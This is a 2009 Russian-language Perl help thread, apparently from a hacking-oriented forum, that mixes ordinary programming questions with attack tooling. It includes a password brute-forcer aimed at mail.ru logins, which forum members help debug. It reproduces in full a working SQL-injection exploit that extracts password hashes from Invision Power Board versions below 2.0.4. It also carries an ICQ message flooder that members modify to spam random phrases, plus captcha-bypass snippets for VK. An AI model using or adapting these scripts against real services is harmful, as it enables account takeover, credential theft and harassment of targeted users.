print "<center>$result_video->{video_id}</center>";
print "<center><script type='text/javascript' src='http://videoserver.3-a.net/files/public/flvpleer/swfobject.js'>
</script>
<div id='mediaspace'>This text will be replaced</div>
<script type='text/javascript'>
var so = new SWFObject('http://videoserver.3-a.net/files/public/flvpleer/player.swf','mpl','640','480','9')
so.addParam('allowfullscreen','true')
so.addParam('allowscriptaccess','always')
so.addParam('wmode','opaque')
so.addVariable('file','http://videoserver.3-a.net/files/mediagallery/media/$result_file->{file_id}')
so.addVariable('image','http://videoserver.3-a.net/files/mediagallery/images/$result_file->{file_id}.jpg')
so.write('mediaspace')
</script>
</center>";
print "краткое описание $result_title->{title_id}";
$dbh->disconnect();

anubis666

30.08.2009, 01:19

СПАСИБО!!!буду изучать дальше perl

iveyk

09.09.2009, 22:01

Здраствуйте,
Пробую переделать скрипт для брута вконтакте, вроде всё правильно сделал, но при запуске получаю ошибку:
Thread 3 terminated abnormally: Can't use an undefined value as a symbol referen
ce at qw.pl line 32.
Вот код скрипта:
#!/usr/bin/perl -W

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;
$dic = "passl.txt"; #паслист для брдутфорсера
$login = 'login';
$threads = 4; #количество потоков
@prefixes = ('as','sd','df','dff','fg','gh','hj');
@agents = ('Mozilla/4.0','Mozilla/5.0','Opera/9.22','IE','AppleMAC-Safari','Opera','FireFox');

open (pass1, "<$dic");

@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

my $random = int(rand(6));
my $prefix = $prefixes[$random];
print("random: $random prefix: $prefix pass: $pass\r\n");
my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80);
print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n".
"Host: ".$prefix.".mail.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: ".$agents[$random]."\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
print "$login : $pass\n";
exit;}
}

}

sub pass
{
my (@mas);
while (<pass1>){
push @mas, $_;
}
chomp @mas;
close pass1;
return @mas;
}
Если несолжно, подскажите пожалуйста в чём ошибка, и как исправить?
p.s. mail.ru вписан просто для примера :)

Kaimi

09.09.2009, 22:22

Попробуй замени
PeerAddr=>"http://".$prefix.".mail.ru"
на
PeerAddr=>"mail.ru"

iveyk

09.09.2009, 22:25

Но мне как-раз нужны эти префиксы, и чтобы при каждом запросе они были разные (случайное число из рандома) и user-agent тоже нужно чтобы случайный был :/

Kaimi

09.09.2009, 22:33

Но http:// то зачем дописывать?

iveyk

09.09.2009, 22:38

Убрал http:// та же ошибка :(

cr0w

09.09.2009, 23:20

iveyk

my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80);
print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n".Здесь не учитываются возможные ошибки при создании сокета. Т.е. надо добавить что то вроде:my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80) or {unshift(@pass, $pass); Brut(); exit()};

iveyk

09.09.2009, 23:38

Добавил, теперь ошибки невыбрасывает, как я понимаю этот добавленный код недопустил ошибки и закончил работу скрипта, а мне хотелосьбы не обрабатывать ошибку во время интерпретации, а понять что за ошибка, откуда она и как сделать чтобы скрипт работал :(

cr0w

09.09.2009, 23:59

Добавил, теперь ошибки невыбрасывает, как я понимаю этот добавленный код недопустил ошибки и закончил работу скрипта, а мне хотелосьбы не обрабатывать ошибку во время интерпретации, а понять что за ошибка, откуда она и как сделать чтобы скрипт работал :(
Я ж тебе объясняю, что ошибка в том, что сокет может и не создаться, а скрипт это не проверяет и пытается отправлять в него данные.
Я привел очень примерный код обработки ошибок при создании сокета. Код я тот уже слегка поправил - теперь там просто рекурсивный вызов поточной функции, а затем завершение потока. Вообще, рекурсия здесь далеко не лучшее решение, т.к. она может получиться очень глубокой. Поэтому лучше сделать как-то так:
my $sock;
while (!$sock) {$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80) or sleep(1)}
add: А еще лучше счетчик числа попыток подключений туда добавить, а то сервер может уйти в даун/забанить/и т.д., а скрипт будет зазря работать в бесконечном цикле. Сам разберешься с этим или помочь? (;

iveyk

10.09.2009, 00:16

Помочь, если не трудно :) я так понимаю у меня ни один сокет несоздаётся :( т.к. perl в инет даже невыходит

iveyk

10.09.2009, 00:22

p.s. мне пишет что ошибка возникает в этой строке:print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n". "Host: ".$prefix.".mail.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: ".$agents[$random]."\r\n". "Connection: close\r\n\r\n";

cr0w

10.09.2009, 00:40

Помочь, если не трудно :) я так понимаю у меня ни один сокет несоздаётся :( т.к. perl в инет даже невыходит
Проверь что-ли настройки файрволла. Вот скриптик:use LWP::Simple; print get('http://mail.ru') - должен возвращать код страницы сайта, если все норм.

p.s. мне пишет что ошибка возникает в этой строке:Это видно из твоего первого сообщения... :)

BlackSun

14.09.2009, 22:30

Есть следующий кодес:
my $q=new CGI;
$dbh = DBI->connect(..
my $uid=($q->cookie('uid') or '');
my $sth = $dbh->prepare("SELECT id,cust_id FROM ad_session WHERE id=? AND ip=? AND useragent=?");
$sth->execute($uid, $ENV{REMOTE_ADDR}, $ENV{HTTP_USER_AGENT});

Интересует, есть ли в функции DBI::execute аналог addslashes \ mysql_escape \ etc? С перлом не дружу ..

Kaimi

14.09.2009, 22:51

quote

$sql = $dbh->quote($value);
$sql = $dbh->quote($value, $data_type);

Quote a string literal for use as a literal value in an SQL statement, by escaping any special characters (such as quotation marks) contained within the string and adding the required type of outer quotation marks.

BlackSun

14.09.2009, 22:55

quote

$sql = $dbh->quote($value);
$sql = $dbh->quote($value, $data_type);

Quote a string literal for use as a literal value in an SQL statement, by escaping any special characters (such as quotation marks) contained within the string and adding the required type of outer quotation marks.
Это именно используется самой функцией execute? Ибо я не пишу скрипт, меня больше интересует возможность провести скуль-иньекцию в том коде)

Kaimi

14.09.2009, 23:07

Это именно используется самой функцией execute?

Если в коде не используется quote, то видимо нет

bl00m

16.09.2009, 22:13

помогите, пожалуйста, написать парсер для строки, который удаляет все слова заданной длины, начинающиеся на согласную букву?

PvgValo

16.09.2009, 22:38

bl00m, помочь или сделать за тебя?

demond

16.09.2009, 22:40

bl00m,

#!/usr/bin/perl
$data = 'qesde fefs sdfsdf sdfsd eded';
$data =~ s/\s[^aei]\w{3}\s/ /img;
print $data

удаляет слова длинной 4, который не начинаются на a или e или i
Сам сможешь изменить на то что нужно?

krypt3r

17.09.2009, 09:07

Как-то так примерно

s/\b[qwrtypsdfghjklzxcvbnm]\w{3}\b//g;

[EYFORIYA]

29.09.2009, 00:48

Пожалуйсто выскажите свое мнение,по какой книге лучше всего учиться перлу...
я так понял перл за 24 часа не канает, какой наилучший вариент..?

TheSoul

29.09.2009, 02:07

Попробуй по этой http://sovremennik.ws/computer/2268-perl.-specialnyjj-spravochnik.html д мне понравилась.

Winst0n

29.09.2009, 06:58

как 1254190834 конвертировать в нормальную дату ?

demond

29.09.2009, 11:11

perl -e '($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$is dst)=localtime(1254190834); print $hour.":".$min.":".$sec." ".$mday."-".$mon."-".($year+1900);';

mr.4k

30.09.2009, 01:18

Вот рабочий кусок скрипта (спасибо ачатовцам), который логинится на pornhub.com и заходит на страничку юзера (www.pornhub.com/user/1041276).

#!/usr/bin/perl

use LWP::UserAgent;
use URI::Escape;

sub login {

$user = $_[0];
$pass =$_[1];

$ua = LWP::UserAgent->new ('agent' => 'Mozilla/4.0 (compatible; Windows 5.1)');

$ua->cookie_jar ({});

#log in

my $r = $ua->post ('http://www.pornhub.com/login', 'Referer' => 'http://www.pornhub.com/login',
Content => [
'username' => $user,
'password' => $pass,
'remember_me' => 1
]);

if ($r->status_line eq '302 Found')
{
print $user." logged in\n";
} else {
print $user." login failed\n";
}
}

sub pizd{
$r = $ua->get($_[0]);

if ($r->content =~ /Wall/) {
print "wall content is ok \n"; #landed ok

} else {
print "no wall found \n";
}
}

login("Atisa","sooper");
pizd ("http://www.pornhub.com/user/1041276");

на странице юзера есть такой ЯВАСКРИП.
Нужно запустить обработчик onclick="comment_controller*******
для того, чтоб перейти на след страничку внутри профайла.

<span><strong> 1 </strong> <a class="cursor_hand" onclick="comment_controller_782873.getPage(2);"> 2 </a>  

<a class="cursor_hand" onclick="comment_controller_782873.getPage(3);"> 3 </a>  

<a class="cursor_hand" onclick="comment_controller_782873.getPage(4);"> 4 </a>  

<a class="cursor_hand" onclick="comment_controller_782873.getPage(5);">...</a> </span>

реально ди это?

demond

30.09.2009, 10:17

Попробуй WWW::Mechanize::Plugin::JavaScript , Может это тебе поможет. Либо раскручивать этот javascript в ручную (как я делал в свое время) и реализовывать такую функцию на perl.

zer0ska

30.09.2009, 10:24

отснифай и имитируй тожесамое

mr.4k

01.10.2009, 00:18

спасибо.
а раскручивать этот javascript в ручную
это как?

krypt3r

01.10.2009, 09:09

Посмотреть, что делает comment_controller_782873.getPage()

KaMiKadZe

03.10.2009, 23:28

Как использовать прокси в сокетах?

ZirroCool

03.10.2009, 23:34

Почитай здесь:
http://forum.ixbt.com/topic.cgi?id=24:10694

пора учиться пользоваться гуглом!

KaMiKadZe

04.10.2009, 10:58

Почитай здесь:
http://forum.ixbt.com/topic.cgi?id=24:10694

пора учиться пользоваться гуглом!
Умею я им пользоваться посмотрел 10 страниц по словам
perl socket proxy и ничего дельного не нашел, придется наверное на LWP переписывать :(

demond

04.10.2009, 17:13

Умею я им пользоваться посмотрел 10 страниц по словам
perl socket proxy и ничего дельного не нашел, придется наверное на LWP переписывать :(
А задача какая? По этой ссылке все хорошо описано! посмотри еще на cpan описание модуля, если этого мало!

[EYFORIYA]

10.10.2009, 19:23

Kак сделать, что бы при запуске скрипта, он на определенном сайте искал копировал мой указанный текст в фаил...типа грабера

[EYFORIYA]

10.10.2009, 23:10

как мне бота запускать через прокси, со своего компа, socscap поможет мне ?

phpdreamer

11.10.2009, 01:20

[EYFORIYA],
use LWP;
my $web_agent = LWP::UserAgent->new();
$web_agent->proxy('http', 'http://proxy_ip:port');
my $request = HTTP::Request->new(GET => 'http://www.adres.ru/' );
my $response = $web_agent->request($request);

[EYFORIYA]

14.10.2009, 19:00

это не подходит, бот для ирц....

svesve

15.10.2009, 13:09

Граблю капчу
if ($page =~ /"captcha_sid":"(.+?)"/i)

Пишу ее в файл
getstore('http://vkontakte.ru/captcha.php?s=1&sid='.$1,.$1.'.jpg');

#Отправляем изображение на распознавание
my $id = $ac->Recognize($1.'.jpg');

но почему-то на АС приходит пустой файл изображения!

в чем может быть проблема?

ЕгоАкк

15.10.2009, 14:14

Граблю капчу
if ($page =~ /"captcha_sid":"(.+?)"/i)

Пишу ее в файл
getstore('http://vkontakte.ru/captcha.php?s=1&sid='.$1,.$1.'.jpg');

#Отправляем изображение на распознавание
my $id = $ac->Recognize($1.'.jpg');

но почему-то на АС приходит пустой файл изображения!

в чем может быть проблема?

binmode($filehandle)

svesve

15.10.2009, 15:03

binmode($filehandle)

всеравно не катит

ведь правильно же пишу??

$page = $ua->get('http://vkontakte.ru/captcha.php?s=1&sid='.$1)->content;
open FILE,'>C:/perl/bin/odn/'.$1.'.jpg';
binmode(FILE);
print FILE $page;
close FILE;

my $id = $ac->Recognize('C:/perl/bin/odn/'.$1.'.jpg');

mikl90

16.10.2009, 21:16

Хочу изучить PERL подкиньте книгу если не трудно для работы с новой версией

gisTy

16.10.2009, 21:20

Хочу изучить PERL подкиньте книгу если не трудно для работы с новой версией
http://www.intuit.ru/department/pl/perl/1/
тут почитай

mikl90

16.10.2009, 21:42

http://www.intuit.ru/department/pl/perl/1/
тут почитай

Спасибо

Patronik

17.10.2009, 17:06

#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b\b DONE ]

MEMBER ID : $member_id
};
print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
print $allchar."\r\n";
}
else
{
print "\b\b FAILED ]";
}
exit();
}
else
{
$allchar .= chr($i);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
$pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%7 2%69%6E%67%28";
$pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%2 1%20";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
$path,$server,$cmember_id,$pass_hash1,$cmember_id, $pass_hash2,$pass_hash3,$nmalykh);

while(<$socket>)
{
if (/Set-Cookie: session_id=0;/) { return 1; }
}

return 0;
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b\b/]"; }
if($status==1){ print "\b\b-]"; }
if($status==2){ print "\b\b\\]"; }
if($status==3){ print "\b\b|]"; }
}

sub usage()
{
print q(
Invision Power Board v < 2.0.4 SQL injection exploit
----------------------------------------------------
USAGE:
~~~~~~
r57ipb2.pl [server] [/folder/] [member_id] [target]

[server] - host where IPB installed
[/folder/] - folder where IPB installed
[member_id] - user id for brute

targets:
0 - IPB 1.*
1 - IPB 2.* (Prior To 2.0.4)

e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
----------------------------------------------------
(c)oded by 1dt.w0lf
RST/GHC , http://rst.void.ru , http://ghc.ru
);
exit();
}

Где в етом експлоите можно поменять префкс таблиц бд которий експлоит использует для скули? я знаю правильний префикс.

CaraL

17.10.2009, 17:16

delete

azsx

17.10.2009, 18:08

что я хочу
скрипт на php который авторизируется на сайте вконтакте и пишет что нибудь (предложение одно) на стене или на заметках (или и там и там). Авторизация под моим логином, писать надо на моей стене. Просто хочу посмотреть исходный код как это вообще делается, а то в php я еще новичок и понять пока носом не ткнут у меня не получается...
Заранее спасибо за ответы.

krypt3r

17.10.2009, 20:12

Patronik, нет в этом сплойте префикса. Он не юзается.

$nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%2 1%20";

ггг :-D

azsx, вам в раздел PHP

Patronik

17.10.2009, 21:14

[QUOTE=krypt3r]Patronik, нет в этом сплойте префикса. Он не юзается.

Спасибо! А то я задолбался спрашывать)))

svesve

19.10.2009, 15:31

Есть файл вида

name1
/**/
name2+
some text there
/**/
name3
+
some text there
/**/
name4
+
some text there
.......

Каким образом можно считывать записи разделенные /**/ рандомно??

Мысль такая...Читаем файл...заносим в массив записи до того как встретиться /**/ затем след эл-т массива и т.д. а потом рандом из массива читаем... покажите плиз на пальцах как это примерно выглядит

Rashid

19.10.2009, 16:58

подскажите по такой ошибке, что не хватает для запуска?
# perl joomscan.pl Can't locate HTML/Entities.pm in @INC (@INC
contains: /usr/lib/perl5/5.10.0/i486-linux-thread-multi /usr/lib/perl5/5.10.0 /usr/
lib/perl5/site_perl/5.10.0/i486-linux-thread-multi /usr/lib/perl5/site_perl/5.10.0 /
usr/lib/perl5/site_perl/5.8.8 /usr/lib/perl5/site_perl /usr/lib/perl5/
vendor_perl/5.10.0/i486-linux-thread-multi /usr/lib/perl5/vendor_perl/5.10.0 /
usr/lib/perl5/vendor_perl .) at joomscan.pl line 27. BEGIN failed--compilation
aborted at joomscan.pl line 27.

Kaimi

19.10.2009, 17:54

Текст как бы намекает: Can't locate HTML/Entities.pm

krypt3r

19.10.2009, 21:41

2svesve, как вариант

#!/usr/bin/perl

use strict;
use warnings;

BEGIN { $\ = $/ = "\n" }
my $text = "name1
/**/
name2+
some text there
/**/
name3
+
some text there
/**/
name4
+
some text there
.......";
my @str = split /\/\*\*\//, $text;
print $str[int rand scalar @str];

2Rashid

perl -MCPAN -e 'install HTML::Entities'

svesve

19.10.2009, 23:43

2krypt3r

подскажи пожалуйста какое смысловое значение несет эта строка BEGIN { $\ = $/ = "\n" }
???

krypt3r

20.10.2009, 07:36

Блок BEGIN {} обрабатывается как можно раньше во время компиляции, даже если его написать в самом конце скрипта. Если пугает, то можно убрать этот блок - функционал почти не изменится )

svesve

20.10.2009, 08:12

Нее это то я понимаю, а вт само значение вот этого
$\ = $/ = "\n" я не догоняю

krypt3r

20.10.2009, 09:01

$\ aka $ORS aka $OUTPUT_RECORD_SEPARATOR - разделитель выходных записей (фактически указатель конца) для print;
$/ aka $INPUT_RECORD_SEPARATOR - разделитель входных записей, по умолчанию - символ перевода строки (0x0a), который применяется функциями readline, оператором <FH>, и функцией chomp.
Подробнее в кэмел-буке.

ЗЫ. Задрало в конце print добавлять \n, особенно когда их много

svesve

20.10.2009, 09:37

Спасибо, будем читать и курить маны )

З.Ы. случаем нет линка на книженцую?!

krypt3r

20.10.2009, 10:26

Случайно есть - http://files.mail.ru/3KEV1G. Третье издание, русский, естественно

.::ICH::.

22.10.2009, 16:46

помогите поменять вот это чудо #!/usr/bin/perl use warnings; use strict; use threads; use threads::shared; use Socket; my $targetUin = ; #кого my $message = ' '; #чем my ($host,$port) = ('login.icq.com', 5190); print "\n$0 (c)oded by C!klodoL-=AzoTkiN=-\n"; my @uins : shared; open(FILE, '<uins.txt'); @uins = <FILE>; close(FILE); chomp(@uins); my $threads = scalar @uins; #количество потоков = количеству асек в файле my @thread; for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 } for(1..$threads) { $thread[$_]->join; } sub flood { my ($uin,$password) = split(/;/,shift(@uins)); my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin. "\x00\x02".int2bytes(length($password)). substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x 53\x7A\x95\x7C",0,length($password)). "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x 00\x16\x00\x02\x01\x0A\x00". "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x 19\x00\x02\x00\x00\x00\x1A". "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x 00\x0F\x00\x02\x65\x6E\x00". "\x0E\x00\x02\x75\x73"; my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname(' tcp')); connect(SOCKET,sockaddr_in($port,inet_aton($host)) ); my $response; sysread(SOCKET,$response,10); syswrite(SOCKET,$FLAP.$SNAC); sysread(SOCKET,$response,65535); close(SOCKET); if($response=~/MISMATCH_PASSWD/) { return } my ($BOS_Host, $BOS_Port, $Cookie); if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) { $Cookie = parsCookie($response); print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n" } else { return } $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie; $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname(' tcp')); connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BO S_Host))); sysread(SOCKET,$response,10); syswrite(SOCKET,$FLAP.$SNAC); sysread(SOCKET,$response,65535); $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x 00\x03\x01\x10\x02\x8A\x00\x02". "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x 02\x8A\x00\x15". "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x 02\x8A\x00\x06". "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x 02\x8A\x00\x0A". "\x00\x01\x01\x10\x02\x8A"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); syswrite(SOCKET,$FLAP.$SNAC); for(;;) { $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\x EF\x52\xEA\x92\xD3\x3F\x00\x02". pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102). "\x00\x00". "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x 4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00". "\x00\x0A\x00\x02\x00\x01\x00\x0F". "\x00\x00\x27\x11". #хз int2bytes(length($message)+62). #61 + длина текста "\x1B\x00\x08".("\x00"x19). "\x03\x00\x00\x00". "\x00\x02\x00\x0E\x00\x02".("\x00"x13). "\x01\x00\x00\x00\x00". "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); syswrite(SOCKET,$FLAP.$SNAC); sleep 2+int(rand(3)); print "$uin send message\n" } } sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое sub parsCookie { #парсер куки my $cookie = shift; my $i++; for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" } return substr($cookie,4+$i,256) } BEGIN { #счётчик номера пакета my $seqNum = int(rand(65535)); sub seqNum { $seqNum++; $seqNum = 0 if $seqNum > 65535; return int2bytes($seqNum) } }
чтобы оно флудило случайными фразами

svesve

22.10.2009, 17:56

каким образом через
$page = $ua->post(....)->as_string;

Можно отдать данные, медиа файл к примеру.

Kaimi

22.10.2009, 18:08

чтобы оно флудило случайными фразами

Замени в начале my $message = '';
На my @message = ('Text1', 'Text2');

Далее после for(;;) {
Напиши my $message = $message[rand @message];

каким образом через
$page = $ua->post(....)->as_string;

Можно отдать данные, медиа файл к примеру.

Например залить картинку на сервер что ли?

svesve

22.10.2009, 18:13

Например залить картинку на сервер что ли?

Так точно! Залить картинку

сформирована переменная $data

my $data =
"-----------------------------169211662827935\r\n".
"Content-Disposition: form-data; name=\"act\"\r\n\r\n".
......
......
......
"Content-Disposition: form-data; name=\"file\"; filename=\"logo.jpg\"\r\n".
"Content-Type: image/jpeg\r\n\r\n".
$file."\r\n".
"-----------------------------169211662827935\r\n";

куда присобачить это
"Content-Type: multipart/form-data; boundary=169211662827935\n".
"Content-Length: ".length($data)."\n\n".$data;
?????

и как выглядеть будет $page=$ua->post();

Kaimi

22.10.2009, 18:27

http://lwp.interglacial.com/ch05_07.htm

krypt3r

22.10.2009, 18:33

В документации к HTTP::Request::Common есть пример, как прилеплять к посту файл

POST 'http://www.perl.org/survey.cgi',
'Content_Type' => 'form-data',
'Content' => [
'name' => 'Gisle Aas',
'email' => 'gisle@aas.no',
'gender' => 'M',
'born' => '1964',
'init' => ["$ENV{HOME}/.profile"],
]

ЗЫ. Нашел вот у себя скрипт, меняющий вконтакте аватару (в еастоящее время он нерабочий в связи с изменениями на сайте). Кусок POST-запроса

$req = $ua->post ($action, [],
'Host' => $host,
'Referer' => $url . 'profileEdit.php?page=photo',
'Connection' => 'Keep-Alive',
'Content_Type' => 'form-data',
'Content' => [
'subm' => 1,
'photo' => ['daemon2.jpg']
]
);

svesve

22.10.2009, 20:07

спасибо!

.::ICH::.

23.10.2009, 08:46

можно плиз конечный вариант^^ я в перле не шарю =( я запутался xD

budden

23.10.2009, 15:29

Очень прошу помочь в написании парсера файла след. вида:
Array
(
[parameter] => testing
[key] => Test1
[Referrer] => HIDDEN
[Time] => TRUE
)
i like bitches0
Array
(
[parameter] => neva
[key] => megakey
[Referrer] => mozilla
[Time] => 2007-09
)
i hate morons8
Как видно в файле много блоков (в примере привел 2, но их больше), которые состоят из блока Array () и затем одной строки.

Нужен скрипт, который бы присваивал $parameter значение из блока [parameter], $key - из блока [key] и так далее.
Т.е. для 1го блока:
$parameter = 'testing'
$key = 'Test1'
$Referrer = 'HIDDEN'
$Time = 'TRUE'

И последняя строка содержит в себе еще 2 параметра:
1) $first-parameter - вся строка, кроме последней одной цифры, т.е. $first-parameter = 'i like bitches'
2) $second-parameter - последняя цифра из полсденей строки, т.е. 0 для первого блока, 8 - для второго

Вот и хочется, чтобы шел парсинг файла в цикле, а я уже сам добавлю - print нужных параметров в нужной мне форме в цикл.

Кол-во строк в каждом блоке постоянно и заранее известно.

Поможете?

krypt3r

23.10.2009, 16:44

#!/usr/bin/perl

use strict;
use warnings;

$\ = "\n";
my $str = <<STR;
Array
(
[parameter] => testing
[key] => Test1
[Referrer] => HIDDEN
[Time] => TRUE
)
i like bitches0
Array
(
[parameter] => neva
[key] => megakey
[Referrer] => mozilla
[Time] => 2007-09
)
i hate morons8
STR

while ($str =~ /Array\s*$\s*\[parameter\]\s*=>\s*(.+)\n\s*\[key\]\s*=>\s*(.+)\n\s*\[Referrer\]\s*=>\s*(.+)\n\s*\[Time\]\s*=>\s*(.+)\n\s*$\s*(.+?)(\d+)\n|\Z/gm) {
my ($parameter, $key, $Referrer, $Time, $first_par, $second_par) = ($1, $2, $3, $4, $5, $6);
last unless defined $key;
print join ', ' => $parameter, $key, $Referrer, $Time, $first_par, $second_par;
}

budden

23.10.2009, 17:51

krypt3r
Большущее спасибо!

Один момент - как можно изменить так, чтобы при отсутствии чего-либо из последней строки - все-равно выводилось? Т.е. если вместо
i hate morons8
будет последней строкой
8
или
i hate morons

Сейчас если что-либо из них отсутствует, то вся строка не печатается.

Или это потребует все поменять?

krypt3r

23.10.2009, 19:10

Чуток только регулярку подправить

... \s*(.*?)(\d*)\n|\Z/gm

budden

23.10.2009, 19:43

krypt3r
Спасибо!

Pashkela

25.10.2009, 16:25

вопрос, есть такой код:

#!/usr/bin/perl
use threads;
use threads::shared;
my $n : shared;

$a = gets();
print $a . "\n";

sub gets {
$thr = 10;
$n = 0;
for(0..$thr) {
$trl[$_] = threads->create(\&gets1);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets1 {
$| = 1;
$ii = "";
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
print $ii . "\n";
}
return $ii;
}
}

как получить значение $ii ?

